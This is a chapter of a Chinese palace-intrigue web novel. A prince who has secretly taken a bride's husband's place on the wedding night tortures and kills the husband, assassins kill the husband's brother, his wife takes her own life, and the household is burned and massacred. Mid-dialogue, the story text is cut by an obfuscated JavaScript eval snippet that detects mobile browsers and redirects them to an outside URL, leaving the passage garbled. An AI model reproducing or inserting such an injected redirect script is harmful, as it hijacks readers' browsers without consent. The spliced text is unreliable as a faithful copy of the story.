“夫人……”
“夫人?”
“夫人,该起身了。”
蕴娘的声音如同隔了一层纱,模模糊糊的,而后由远及近,在混沌的感知中逐渐变得清晰。
薛宓娴撑着坐起身子,浑身酸疼,只要是露在外面的地方,没有一处不是泛着春宵余韵,时刻提醒着她昨夜所发生的风流种种,言不尽意。
她下意识地伸出手,摸了摸身侧的枕头。喜缎质地极佳,触感又滑又软,是程老夫人精心挑的。
可是,枕上似乎没有熟悉的体温,一点也不像是有人在这里睡过一觉的样子。
蕴娘察觉到她的不安,一边伸手去扶她,一边温声安抚道:
“夫人可是在找二公子?”
“二公子圆房后,天还未亮就出去了。听小厮说,是陆大人找他,有急事相商。”
“二公子怜夫人昨日辛苦,虽走得匆忙,但还是让管家的前来传话,说是让我们为夫人煮碗暖汤,好生照顾。”
“瞧,二公子待夫人当真是好。”
薛宓娴的手不自觉地发颤,捂着心口,面上没什么血色,一时间说不出话来。
昨夜,在那鸾凤交滚的最后时刻,她所看到的那张脸,与那段不愿再去回想的记忆缓缓重叠。
俊朗的眉目,在她的记忆中却如同恶鬼,总会夜深人静时偷偷撕开她的体面与端庄,把她变成最为狼狈不堪的样子……
一时间,过程中那些不符合程菩身体情况的异常,似乎都得到了解释。
比如,程菩明明发着烧,可身体的温度却并不高。又比如,程菩喝了那样多的酒,脱了衣服,唇齿间竟然一丝酒味都闻不见了。
越是对上记忆,她越是觉得害怕。
那么——
在这喜床上疼爱她的夫君是程菩么?
为何她记忆中出现的,会是江昀的脸……
依侍卫水洛的话,他明明都已经死了,怎还会出现在她的新婚之夜?
薛宓娴低下头,感觉自己的腿似乎在被子里碰到了什么东西。
她伸手去探,发现那是曾经被江昀拿走的香包,上面并蒂莲的绣图历历在目,心下顿时一阵刺痛。
这件东西是如何出现在她床上的?
若是昨夜的新郎换了人,以那人的性子,恐怕难保程菩的安危。
留下的这个荷包,究竟是什么意思?
江昀若知道是她泄露了行踪,会如何报复她……
窗户没有关紧,留了一道细细的缝。
江南即将入冬,屋外的风吹在身上,带着莫名阴冷的气息,冰凉的潮寒之气透过肌肤,渗入骨骼,刺得她颤了颤身子,打了个寒战。
薛宓娴不敢再细想下去。
事到如今,不论是圆房欢好之时的郎君换了人,还是江昀从始至终可能都没死,每一项揣测中可能发生的后果,都超过了她所能承受的心理极限。
她心慌害怕,顿觉浑身发冷,吸了吸鼻子,紧紧握着蕴娘的手,瞬间落下泪来:
“程菩呢?”
“他在哪儿?”
一想到那人昔日毫无廉耻的行径,她的心七上八下的,满是不安:
“我要见他!”
薛宓娴已经顾不得礼数,顾不得蕴娘会如何反应,她只想在最恐慌无助的时刻里,为自己寻一点微末的慰藉。
蕴娘被她这模样吓了一跳:
“夫人可是做梦魇着了?”
“二公子在跟陆大人议事呢,一时半会儿可回不来。”
蕴娘本想替她将凌乱的发丝稍微拢一拢,好用热帕子敷敷脸,缓解一下心情。
可不曾想薛宓娴侧身一躲,把自己的身体用被子裹起来,往床榻里缩了缩,手紧紧攥着大红的被单,惊慌又无助:
“别过来。”
她抱着自己的身体,不住地发抖,连声音也跟着打颤:
“别……别碰我……”
蕴娘劝了一会儿,谁知无意间提到了一句“江小公子”,薛宓娴立刻崩溃地哭出声来,整个人缩成了一团,蒙在被子里发抖。
蕴娘轻声道:
“他在这儿的时候,可是欺负姑娘了?”
薛宓娴没有回答,只是紧紧攥着香包,气喘不及,眼尾一片湿红,长睫上悬着点滴晶莹,轻轻颤动,让人不由自主地为之心软。
蕴娘无法,只能暂且不说话,上前替她擦眼泪。
……
恰在此时,素音带着沈楹走了进来:
“夫人,老太太那边等得着急了,便让大夫人来看看是什么回事。”
经过一段时日的修养,沈楹难得装扮如此整齐,乍一看与先前并无二致。
她的气色已然好了很多,只是眸中黯淡无光。虽打扮漂亮,但并无生气,如同一具精美的偶人。
薛宓娴的视线落在她身上,身体随着哭喘起起伏伏,声音中染着浓重的哭腔,楚楚可怜地唤道:
“沈姐姐……”
沈楹走到榻边,替了蕴娘的位置,伸出手,将薛宓娴轻轻抱进怀里,同时挥手让婢女们都出去。
她拉过被子,把露在外面的胳膊盖上,而后拿过帕子,帮薛宓娴擦着脸,轻声道:
“娴娘,怎么了?”
薛宓娴埋在她的身前,柔软的气息让她一点一点安定下来,紧紧抱着她的身体,小声地抽泣着。
沈楹认真地擦去她脸上的泪痕,似是无意地笑了笑,轻声道:
“二公子待你很好,这桩喜事如此圆满,哭什么呀?”
薛宓娴看着沈楹的眼睛,一瞬间觉得自己似乎不应该再说下去了。
单从婚事来看,比起沈楹的如今,她大抵还是有几分幸运的。
程荇是个十足的混蛋,去外头与旁人厮混不说,动手打人、趁沈楹睡着行房.事,又以怀孕胁迫她留下……
死上一万次也不为过。
薛宓娴低下头,慌张之余,觉出几分愧疚来,轻轻覆上沈楹的手。
沈楹只是笑着摇了摇头:
“娴娘,我知晓你在想什么。”
后面的话她不必再说,薛宓娴也明白的,可是心中的不安并未因此消减分毫。
但在沈楹面前,她总是觉得,实在不能在一个比自己境遇更差的人面前,戳着痛处,还要讨求几分强颜欢笑的安慰。
这也太不像话了。
毕竟,江昀早就死了,或许只是她的噩梦而已。
若当真是新郎换了人,那些小厮婢女又不是盲人,定能发现其中蹊跷。她实在不必如此战战兢兢地活在一个死人的阴霾之下。
至于这个荷包,兴许是水洛交还给程菩,而程菩无意间落下,亦未可知。
薛宓娴深吸一口气,在沈楹的陪伴下渐渐止住了哭,施上脂粉,穿戴整齐,去给程老夫人和程老爷请安。
临走前,沈楹叫住了她:
“娴娘,二公子是难得一遇的良人。”
“今后若是见不着我,你也要同他好生过下去。”
薛宓娴蹙起眉,方才搁下去的心又登时提到了嗓子眼,开口道:
“沈姐姐,这是何意?”
沈楹笑了笑,没有回答。
……
给程老夫人敬完茶,她并未计较薛宓娴请安来迟一事,只问是被什么魇着了,来日请人驱驱邪祟,便能够睡得更加安稳些。
程老爷接过茶,同样未曾点薛宓娴的不是,只略看了她一眼,又同老夫人说了几句闲话,转而便急匆匆地走了。
程老夫人解释道:
“陆大人那边的事,他心里也着急。不过,你尽管放心,先前菩儿才送来了一张字条,说陆大人那里还需要些时间,他把家里的事情都打点好,便不需要你再费一点心的。”
薛宓娴接过字条,反反复复看了又看,指尖从熟悉的墨迹上轻轻拂过,似乎能看到程菩写下这张字条时的神情。
她默然片刻,又问道:
“老太太,陆大人……他可会害了二公子?”
对于陆昭,薛宓娴总有一种天然的不信任,没有任何来由,只是因为她的直觉。
就像她第一次见到江昀那样。
程老夫人笑着,把她拉到身边来坐下:
“傻孩子,怎么会呢?”
“陆大人是菩儿昔日在京城的同僚。再者,他既然都肯来昨日的喜宴,又怎会对菩儿不利?”
薛宓娴点了点头,看向手中字条,冥冥之中总有些许不安,可她又说不出个因由,便只能作罢。
……
府外,沈楹掀开帘子,看了一眼车内的人,脸上的神色没什么变化,只是木然坐在了他的身侧。
程荇已经许久未和沈楹挨得如此近过。
自沈楹有孕修养后,他数不清自己吃了多少个闭门羹,偏偏还无处说理去,便只得作罢。
可他便是到了此等地步,也没能放得下府外养着的月娘,更放不下那些个在花满楼结交过的莺莺燕燕,得了空总要“偷得浮生半日闲”。
沈楹的身体随着马车行进而微微晃动,她轻轻倚着窗,懒得去看身侧的程荇一眼。
左右也是个命不久矣的人。
此番去寺庙斋戒祈福,是程菩的意思。
程菩在大婚前,曾告诉她——
他给程荇下了一种无色无味的毒药,在斋戒的这几日便会毒发身亡。而后,他会将此事嫁祸给流匪,再替沈楹寻个由头,将她送离程家。
往后她愿意做什么,就做什么。哪怕是走投无路,程菩也会极尽所能,给她接济。
起初,沈楹并不明白,程菩为何会突然站在自己这边,为自己如此着想。
后来,她才明白,程菩杀程荇,是为了替薛宓娴报迷情药的仇。而自己,或许只是他为博美人一笑的顺水人情。
不过,这样也好。在程家的日子,她是一天也过不下去了。
程荇斜睨着她,跷着腿抖了抖,吊儿郎当地去摸沈楹的手:
“瞧你,这般避讳做什么?你我夫妻二人,能有这么几天独处的机会,该好好感激才是。”
沈楹看了他一眼,收回自己的手,淡淡地“哦”了一声,便不再理他。
程荇自讨没趣,嘴里嘀咕着骂了几句,闭上眼睛,不一会儿想起了断续的呼噜声。
沈楹偏过头,有种强烈地想要掐死他的冲动,可是手抬到一半,又放下了。
马车走入曲折小道,轮子碾过地上的石子,沈楹的身体猛地歪斜了一下,紧接着,她掀开车帘,看见数支利箭破空而来——
马受了惊,仰头长鸣,坐在前头的车夫尚未来得及出声,便被一剑捅了个穿。
程荇被这般动静惊醒,慌不迭地大叫一声,一把推开有孕在身的沈楹,手脚并用地往车外爬。
沈楹的后背狠狠撞了一下,吃痛地倒吸了口气,看着程荇,冷笑一声,不知从哪里来的力气,死死攥住了他的手。
程荇逃跑受阻,眼看着刺客越来越近,登时发了狠,再不顾沈楹是不是还怀着自己的骨肉,一巴掌甩了过去:
“你找死!”
“松手!”
沈楹的侧脸红了一片,嘴角留下隐隐的血迹,可她没有放手,不顾腹中疼痛,用尽全身力气,拖住了程荇。
程荇眼见时机不对,气得大骂了几句污秽话,一脚朝着沈楹踹了过去,趁着这个机会,逃离了马车。
一瘸一拐地走出不远,他喘着粗气,忽感一阵钝痛,低下头,只见自己的胸口冒出银芒。
再仔细看去,才见那是剑尖洞穿了他的身子。
水洛面无表情地抽出自己的剑,看着程荇直挺挺地倒了下去,抽搐着瘫软在地上,渐渐断了气。
“殿下的吩咐,割了他的脑袋,尸体扔去西郊喂狗。”
说完,水洛回到马车旁,伸出手,把沈楹捞了出来。
看着地上横躺的车夫,又看了看水洛手中还在滴血的剑,沈楹似乎是明白了什么,她忍着身上的痛,轻声道:
“你不是程二公子的人。”
水洛没有说话。
沈楹抓着他的手,疼得直不起腰,身上的裙子已经被血浸红了一块,腿都忍不住打颤:
“那么,你是……”
她喘着气,说道:
“你是九殿下的人,是来找程家寻仇的。”
水洛之前见过沈楹,听过她的事迹,知道她虽是内宅中的夫人,可才华与胆识却远远不至于此。
对于杀程荇,水洛心里没什么波澜,只觉得那人该死,自己是替天行道。
而面对沈楹,他忽然有些下不去手。
可是,相同的话,水洛禀过自家殿下。
李容卿的原话是:
“当年云家有难,大舅母怀着身子,在程菩授意下被送入教坊司,折磨至流产,最终血崩而亡。”
“如今,自应血债血偿。”
可当着沈楹的面,水洛说不出口。
沈楹笑了笑,抬手握住水洛的剑,缓缓阖上眼眸,蓄力撞了过去:
“我不为难你。”
自程荇居高临下地用孩子胁迫她的那一刻起;自沈家人嘴上说着亲情,却要用她的余生去还程家恩情的那一刻起;自她知晓自己为程家掏心掏肺地付出,却从未被程荇正视的那一刻起——
沈楹早就不想活了。
如今,她要感谢九殿下,成全自己的一桩心愿。
只是,程荇的血,会脏了她的轮回路,奈何桥头,她可还会遇见这样的负心之人?
沈楹不再去想,她只是觉着,自己这一生,终于可以看到尽头了。
水洛后撤不及,只见沈楹颈间血流如注,登时便没了气息。
……
城郊的小院内,陆昭拦住脸色发白的下人,问道:
“殿下呢?”
下人心有余悸,朝着暗室示意了一下,随后便听闻一声有气无力的哀叫,吓得他一缩脖子,快步走了。
推开暗室的门,陆昭皱了皱眉:
“还未审出来?”
他看向面前血迹斑斑的凳子,轻笑一声:
“程兄弟这嘴,倒是严得很啊。你当真猜不到,我是为何到此地来么?”
李容卿扔下手里的银刀,慢条斯理地在铜盆中洗了洗手,水滴沿着修长的手指上滴在地上,与渐渐干涸的血迹混在了一起。
程菩艰难地抬起头,嗬嗬地喘着粗气,身上的喜服破皱不堪,沾满了污垢和血渍,手腕上尽是被麻绳捆出来的印记。
他咳了咳,许是牵动肺腑,登时扭头吐出一口血来:
“是……是皇后……”
陆昭笑了笑:
“不错。”
“再猜猜,是为何?”
程菩的脸上交错着已经干涸的血迹,漆黑的眼眸里看不见一点光亮,就好像一潭死水,了无生机:
“永王……为我欲暗中辅佐永王夺嫡一事。”
陆昭冷笑一声:
“不如这么说,从你离开京城的那一刻起,皇后就从未想过要放过你。”
“非全忠,便是不忠。你这些年身边的大夫,除了少数几位,几乎全是宫里的眼线。”
“你的药,不过是皇后手里的催命符罢了。”
程菩冷哼一声,抬头看向李容卿:
“是,倘若当真成王败寇,我哪怕沦为阶下囚,亦毫无怨言。只是你,伪造我的书信,故意引得皇后去弹劾永王……”
李容卿打断了他,俯身凑近了些,眸中淬着森冷的寒意,没有一丝人情味:
“是我又如何?”
“当年程公子不也是这般对云家的?”
程菩抿了抿唇,似是打定主意闭口不言。
陆昭叹道:
“程兄弟,皇后济河焚舟,鸟尽弓藏。你还要这般为她遮掩,图什么?若是痛快交代了,只怕是去转世投胎之前,还能少受点罪。”
“再问一次,你这密匣要如何打开?”
程菩扭过头,没有说话。
李容卿看了一眼他身上的喜服,忽然来了兴致,缓缓屈膝半蹲在他面前,手随意地搭在凳侧,低声道:
“既然你不想告诉我密匣之事,那便来说说你的夫人,如何?”
程菩愣了一下,骤然挣动起来,许是动作牵扯到了伤口,痛得他吸了一口凉气,哀哀地叫了一声,怒道:
“你对她……在府里那些时日,你对娴娘做了什么!”
漆黑的眸中闪过一瞬诡异的兴奋,李容卿饶有兴致地嗤笑一声,微微歪了歪头,手指轻轻地点在他的颈侧:
“不过是男.欢.女.爱,行云情雨意之事。我自忖甚少刻意遮掩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054522|193155||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,你难不成从未发现过?”
“就连昨夜的新婚洞房,也是我替你去圆的。”
“程菩。”
“她已经是我的人了。”
“你!”
程菩目眦欲裂,若非手脚被束缚着,他恐怕拼死也要从李容卿身上剜下一块肉来。
“嘘。”
李容卿竖起一根手指,似笑非笑:
“你说,到底谁才是上不得台面的情郎?”
陆昭眼看话题即将跑偏,连忙开口:
“咳,程兄弟,你若是不肯如实交代这密匣……”
李容卿冷冷地笑了一下:
“我便将她绑过来,一墙之隔,你大可细细欣赏,我是如何与你夫人共赴枕上风流,使她入云翻海,直抵极乐的。”
“又或者,你耗我一炷香的时间,我便当着她的面,断你一根手指——”
他剑眉入鬓,目若朗星,分明是面如冠玉的清俊君子貌,却偏偏说着最为狠毒的威胁话,连带着气质都变得阴沉低郁,隐隐沾上了几分森邪的鬼气。
“你想要如何,随你的便。”
“只是不知,她能坚持到几时?”
程菩瞬间瘫软下来,他低下头,咬着牙,忍着身上的痛意,声音嘶哑:
“我告诉你,我什么都告诉你。认罪书,我也签……”
李容卿一挑眉,缓缓站起身,只听他又说道:
“只求你……只求殿下莫要为难我妻。要杀要剐,罪责由我程菩一人承担。”
程菩说完,眼前发黑,却咬着舌尖强撑,期待李容卿的答复。
李容卿没有搭理他,只是打开了密匣,仔细与陆昭查阅了一番,确认真伪后,慢才悠悠地转过身:
“你觉着,她能够得上与我谈条件?”
李容卿冷冷地拿起短刀,走了过去:
“于我而言,她什么都不是。”
程菩的脸色瞬间惨白一片:
“殿下!”
李容卿懒得废话,开门见山:
“程菩,你设计陷害我母妃,做局逼死云家满门,给我兄长递假消息,害他在皇后手中丢了性命。”
“以上种种,可有哪一件冤枉了你?”
他扼住程菩的颈,一字一句道:
“我在道观避难的这些年,恨不能将你啖骨饮血。”
“你凭什么能有佳人相伴,妄图在江南水乡安度余生,甚至还想着把手伸到太子之位上,呵。”
“成王败寇,愿赌服输。”
短刀没入胸口——
“这是你自己说的。”
李容卿直起身子,抽出沾满血的短刀,随手一丢,恰好落入一旁的铜盆里,只听“咣当”一声,血水飞溅。
陆昭叹了口气:
“尸体如何处置?”
李容卿就着送来的清水,洗干净手上的血迹,用绢帕擦了擦,垂眸看了一眼,忽然一勾唇:
“待到晚间,送去程府。”
陆昭愣了一下:
“你要做什么?”
李容卿挂着淡淡的冷笑,可却让人不自觉地头皮发麻:
“临别之前,难道不该让她再与夫君见一面么?”
……
天色已晚,久久等不到程菩归家的消息,薛宓娴心里越发慌乱,坐在院子里,怎么也不肯回房歇息。
晚间的时候,府里煮了甜汤,本是给她的院子里也送了来,怎料程茹非要闹着跟她一起睡觉,不小心把食盒打翻了,瓷片碎了一地。
蕴娘嘴里念叨着“碎碎平安”,可薛宓娴却是一点都笑不出来。
窗上的囍字还没有揭下,被纱后的烛火映着,她莫名品出了一种凄凉的意味。
程茹闹得累了,勾着她的小指:
“二嫂,我们不等了,去睡觉好不好?”
薛宓娴温柔地笑了笑,把程茹抱在怀里,往屋内走,打算把她哄睡了,再去院子里等程菩。
见不到程菩,她始终心里不安。
哄睡的童谣还没唱几句,院外忽然喧闹起来,有人高声哭喊着:
“走水了,走水了!”
不一会儿,便有浓浓的焦烟飘了进来,呛得人直咳嗽。
蕴娘打开门,没一会儿便回来了:
“夫人,火已经烧过来了。”
素音也跌跌撞撞地跑了过来,哭道:
“夫人……院子里的人,不知何时被下了药,大都动不了。”
薛宓娴努力回忆着自己学过的知识,余光瞥见桌上的茶壶,当即起身拿了几条帕子,打湿分给身边的人,让她们捂住口鼻,以免呛烟窒息。
与此同时,她还让蕴娘等人随自己一起,取下头上的的钗饰,放弃披帛,把裙子缠好,免得一会儿逃生时被绊倒。
做完这一切,薛宓娴拎着湿帕子,打算去看看院子里还有没有能动的人,能救一个是一个。
可是,火势很快蔓延过来。
她的能力有限,根本救不了所有人。
蕴娘扯了一下她的袖子:
“夫人,顺着院子后小道,先出去再说。”
薛宓娴知道逃生时机宝贵,顾不得难过,拉着程茹往外逃。
身后传来哭喊声,隐隐还有烧灼之声,薛宓娴不敢回头,只顾着往前跑。
眼看就要从后门出去,她却瞧见不远处躺着一人。
“程菩!”
薛宓娴把程茹交给蕴娘,顾不得即将烧过来的火,扑了过去。
手触及那苍白的面庞,冰冷的体温昭示着结果。薛宓娴咬着唇,忍住眼泪,带着最后一点虔诚的期冀去探他的脉息。
程菩死了。
薛宓娴短暂地怔了一下,随即便想着要抱起程菩的尸身,不能让他如此不明不白地葬身火海。
可程菩虽病重多时,身形消瘦,但到底是个成年男子,薛宓娴费了一番力气,只是徒劳。
身后传来动静,素音及时将她拽了过来。
她们躲在木架后头,看着一群黑衣人训练有素地拔出长剑,凡有侥幸逃出来的,便被一剑封喉,是不留活口的架势。
薛宓娴认得,为首的人,正是程菩身边的侍卫,水洛。
那黑衣人中还有一人,是程府的管家。
她掐着自己的胳膊,逼着自己冷静下来。
身后,蕴娘紧紧捂住程茹的嘴,不让她哭,自己也连气都不敢喘,只待那些人稍微离得远了些,才轻声道:
“夫人,怎么办?”
空气里传来一股呛人的焦臭味,起初还传来几声痛苦的哭喊,渐渐便也听不到了。
薛宓娴听见水洛说:
“我带人去前头搜,你们看好后门。”
四五个黑衣人留下,他们的手时刻放在剑柄上,只要有人从火海中挣扎出来,便会被重新送去见阎王。
黑衣人用力踢了一脚,便见程菩的尸身滚入火场中,不一会儿便被红色的火舌彻底吞没。
薛宓娴手中握着的,是方才从程菩腰间扯下的玉佩,是她夫君最后的遗物。
素音想了想,开始脱自己的衣裳:
“蕴娘,我们出去引开他们。夫人,您带着三姑娘快些跑。”
蕴娘二话不说,开始把自己的衣裙扒下来,套在已经晕过去的程茹身上。
程茹的衣裳有些小,蕴娘见自己穿不下,索性不穿了,只着一件单衣,在寒风中冻得发颤。
薛宓娴鼻子一酸,颤抖着擦去眼泪,还做着几分天真的美梦,幻想她们能像一些电影的结局那样,顺利逃出去。
可惜,素音和蕴娘虽见识不多,此时竟比她果断。
素音说道:
“夫人,您快些走。”
蕴娘把程茹小小的身子递了过去:
“夫人,我们不能再护着您了。”
“以命换命,是我为夫人做的最后一件事。”
语毕,蕴娘拉起素音,默契地分头从暗处冲了出去。
薛宓娴心下剧痛,像是被人打了一闷棍,喘不上气来,却不敢辜负蕴娘和素音的期望,抱着程茹,迎着火光与寒风,头也不回地迈过门槛,跑了出去。
她听见身后的叫喊,听见蕴娘的挣扎与抵抗。
可她不能回头。
她紧紧抱着程茹,孤身只影,撞入茫茫夜色中去。